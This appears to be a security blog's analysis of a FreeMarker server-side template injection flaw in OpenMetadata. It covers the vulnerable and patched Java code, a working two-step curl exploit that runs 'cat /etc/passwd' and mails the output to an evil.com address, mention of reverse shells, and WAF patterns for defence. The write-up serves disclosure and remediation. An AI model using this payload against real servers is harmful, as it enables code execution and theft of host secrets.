FreeMarking Your Territory: RCE in OpenMetadata via SSTI
Jan 8, 2026·6 min read
Executive Summary (TL;DR)
OpenMetadata's email template engine (FreeMarker) was initialized with default settings, lacking a security sandbox. An attacker with administrative access can modify email templates via the API to inject malicious FreeMarker directives (specifically the `Execute` utility). When the system renders the email (e.g., via a 'Test Email' trigger), the payload executes shell commands on the host server.
A critical Server-Side Template Injection (SSTI) vulnerability in OpenMetadata allows authenticated administrators to execute arbitrary code on the underlying server. By leveraging insecurely configured FreeMarker templates used for email notifications, attackers can break out of the application sandbox.
The Hook: Metadata is the New Data
OpenMetadata is the central nervous system for modern data stacks. It tells you where your data is, who owns it, and how it flows. It's a treasure trove of information, often holding connection strings, schema definitions, and user roles. Naturally, this makes it a prime target for attackers. If you own the metadata server, you often own the infrastructure it documents.
But today, we aren't attacking the metadata itself. We are attacking the mechanism the server uses to talk to its users: Email. Like many enterprise applications, OpenMetadata needs to send notifications—alerts, password resets, and activity reports. To make these emails dynamic, they use a template engine. In the Java world, Apache FreeMarker is the heavyweight champion of template engines.
The vulnerability, GHSA-5f29-2333-h9c7, is a classic tale of "using a powerful tool without reading the safety manual." It turns out that if you let users edit templates and don't lock down the engine, you're essentially giving them a web-shell with extra steps.
The Flaw: A Sandbox Full of Landmines
Template engines are designed to take data (the model) and mix it with a template (the view) to produce a string (the email). To be useful, engines like FreeMarker need some logic—loops, if-statements, and variable formatting. However, FreeMarker is too powerful by default. It includes built-in capabilities that allow it to instantiate arbitrary Java classes.
The root cause here resides in org.open-metadata.service.util.DefaultTemplateProvider.java. When the application initializes the FreeMarker Configuration object, it does so using the bare minimum constructor. It treats the template engine as a trusted environment, assuming that only safe developers will ever touch the template code.
In reality, OpenMetadata exposes an API endpoint that allows administrators (or anyone with the right role) to update the email templates stored in the database. This creates a bridge: User Input → Database → Template Engine. Because the engine lacks a TemplateClassResolver, an attacker can invoke freemarker.template.utility.Execute, a utility class literally designed to run shell commands. It's like locking your front door but leaving a sledgehammer and a detailed map to your safe on the front porch.
The Code: The Smoking Gun
Let's look at the vulnerable code in DefaultTemplateProvider.java. This is where the magic (or the tragedy) happens. The getTemplate method pulls a string from the database and feeds it directly into a new Template object.
// VULNERABLE CODE
public Template getTemplate(String templateName) throws IOException {
// 1. Fetch untrusted string from DB
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate();
// 2. Initialize UNSAFE configuration
// No ClassResolver set. No API builtin disabled.
return new Template(
templateName,
new StringReader(template),
new Configuration(Configuration.VERSION_2_3_31)
);
}The fix requires explicitly enabling the security features that FreeMarker provides but disables by default for backward compatibility. The patched version forces a "Sandbox" mode:
// PATCHED CODE
public Template getTemplate(String templateName) throws IOException {
// ... fetch template ...
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// 1. The "Safer" resolver blocks "Execute", "ObjectConstructor", etc.
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
// 2. Disable ?api to prevent reflection attacks
cfg.setAPIBuiltinEnabled(false);
return new Template(templateName, new StringReader(template), cfg);
}The difference is subtle in lines of code but massive in security posture. The SAFER_RESOLVER specifically blacklists the Execute class we abuse in the exploit section.
The Exploit: From Admin to Root
Exploiting this requires authenticated access, specifically a role capable of modifying the docStore (where templates live). In a default OpenMetadata installation, the admin user fits the bill perfectly. Once we have a JWT token, we can perform a surgical strike on the email system.
Step 1: The Setup
First, we grab our admin token. Then, we target the template field of a standard email notification document. We don't need to break the whole email; we just need to inject a specific FreeMarker directive.
Step 2: The Payload
We use the ?new() built-in to instantiate freemarker.template.utility.Execute. This class takes a list of strings (the command) and returns the stdout.
# Malicious Payload: overwriting the template content
curl -X PATCH "http://target:8585/api/v1/docStore/TARGET_UUID" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json-patch+json" \
-d '[{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"cat /etc/passwd\")}"
}]'Step 3: The Trigger The template sits dormant in the database until rendered. The easiest way to trigger this is the "Test Email" endpoint. This forces the server to load our tainted template, compile it, and execute the embedded Java bytecode.
curl -X PUT "http://target:8585/api/v1/system/email/test" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"email":"hacker@evil.com"}'When the server processes this request, it executes cat /etc/passwd, embeds the result in the email body, and inadvertently sends the server's password file to the attacker's inbox. Or, more likely, we just use a reverse shell one-liner to get persistent access.
The Impact: Why This Matters
You might argue, "But you need Admin access! If I'm Admin, I already own the app." That is a dangerous misconception. In modern DevSecOps, "Admin" on the application layer should not equate to "Root" on the infrastructure layer.
This vulnerability bridges that gap. It is a Scope Change (S:C) in CVSS terms. An application administrator can pivot from managing metadata schemas to executing code on the host operating system. This grants access to:
- Environment Variables: Often containing AWS keys, database credentials (for the actual data warehouse, not just OpenMetadata's DB), and secrets.
- Internal Network: The OpenMetadata server is likely sitting deep inside a VPC. RCE here is a perfect beachhead for lateral movement.
- Data Exfiltration: An attacker can dump the entire metadata catalog, mapping out the organization's data assets for future extortion.
Furthermore, if the OpenMetadata container is running as root (a common container anti-pattern), the attacker immediately has full control over the container and can attempt container escape techniques.
The Fix: Remediation Strategies
If you are running OpenMetadata versions ≤ 1.11.2, you are vulnerable. The primary fix is to upgrade immediately to a patched version (check the latest releases on GitHub).
If you cannot upgrade immediately, you must mitigate the risk at the configuration level:
- Network Isolation: Ensure the OpenMetadata server cannot make outbound connections to unknown IPs (preventing reverse shells).
- Strict RBAC: Audit who has the
Adminrole. Remove it from service accounts or developers who don't strictly need it. - WAF Rules: Implement Web Application Firewall rules to block requests to
/api/v1/docStorethat contain patterns likefreemarker,?new,Execute, or<#assignin the JSON body.
For developers using FreeMarker in their own projects: Always use TemplateClassResolver.SAFER_RESOLVER. Never trust the default configuration.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenMetadata OpenMetadata | <= 1.11.2 | 1.11.3 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Server-Side Template Injection (SSTI) |
| Attack Vector | Network (API) |
| CVSS v3.1 | 9.1 (Critical) |
| Privileges Required | High (Admin) |
| Affected Component | DefaultTemplateProvider.java |
| Exploit Status | Functional PoC Available |
MITRE ATT&CK Mapping
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.